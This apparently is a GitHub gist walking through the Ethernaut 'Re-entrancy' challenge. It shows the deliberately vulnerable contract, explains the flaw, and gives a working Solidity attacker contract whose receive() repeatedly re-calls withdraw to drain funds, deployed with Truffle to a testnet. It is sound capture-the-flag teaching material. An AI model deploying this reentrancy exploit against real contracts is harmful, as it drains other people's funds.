Skip to content

Instantly share code, notes, and snippets.

@poolsar42
Last active February 20, 2022 21:56
Show Gist options
  • Save poolsar42/0bdd4544d5c77a336d04415caf518976 to your computer and use it in GitHub Desktop.
Save poolsar42/0bdd4544d5c77a336d04415caf518976 to your computer and use it in GitHub Desktop.
Developping attacking contracts with truffle

Ave

Sometimes it's necessary to atack your target contract with another one. And sometimes attacker should create and deploy another contract. There are many options to accomplish it, some of them are Truffle, Remix, Hardhat and Replit. Here I want to write about how to do so with Truffle.

Target

We are going to discuss Re-entrancy contract from Ethernaut.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

How to attack?

if it happens that you don't know how to attack this contract, it's all right! That's why we are here.

Let me tell you how really quick. Take a look at withdraw function. Do you see the line with msg.sender.call? And there is no data specified (here -> ("")). This means that Re-entrancy contract just sends the amount of ethers on msg.sender address. And since there are no specified data, if msg.sender is another contract, this means that a fallback function will be invoked.

And down below we see line balances[msg.sender] -= _amount;. But it's done only after fallback function was invoked! This is our attack vector. Why? It happend that solidity handles one line of a code at a time. And if attacker-contract is be able to call this withdraw method from its fallback function - this means that fallback function will be invoked again multiple times! See:

withdraw() -> 
fallback() calles withdraw again ->
withdraw() runs from the beginning and invokes fallback() ->
and so on...

Because _amount will always be less than balances[msg.sender]. In fact during the process balances[msg.sender] will never go down.

Okay! We got it! If you didn't get it - don't worry, take a look at a contract down below, it may help. Let's now implement the attacker contract with Truffle, shall we?

Setting up truffle environment

> truffle init

Initial directory structure

init

truffle-config.js

Attacker contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Reentrance {
    function donate(address _to) external payable;

    function balanceOf(address _who) external view returns (uint256 balance);

    function withdraw(uint256 _amount) external;
}

contract ReEntrancyAttack {
    Reentrance instance =
        Reentrance(0x5eAa81eF525aDD08559E49df238F10d13355E64C);
    uint64 public decimals = 10**15;

    function donate() public payable {
        instance.donate{value: msg.value}(address(this));
    }

    function attack(uint256 _amount) public {
        instance.withdraw(_amount);
    }

    function withdraw() public {
        (msg.sender).call{value: address(this).balance}("");
    }

    receive() external payable {
        if (address(instance).balance >= decimals) {
            instance.withdraw(decimals);
        }
    }
}

Compiling

> truffle compile

Deploying

> truffle console --network rinkeby

From truffle console you don't need to specify truffle keyword again, so to migrate your contracts you can just invoke them like that

> migrate -f 2 -to 2
> ... bunch of stuff ...
> const contract = reentrancyAttacker.deployed()

Running methods

You can simply run your methods

await contract.youMethod(your arguments)

That's it! Let me know if you enjoyed :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment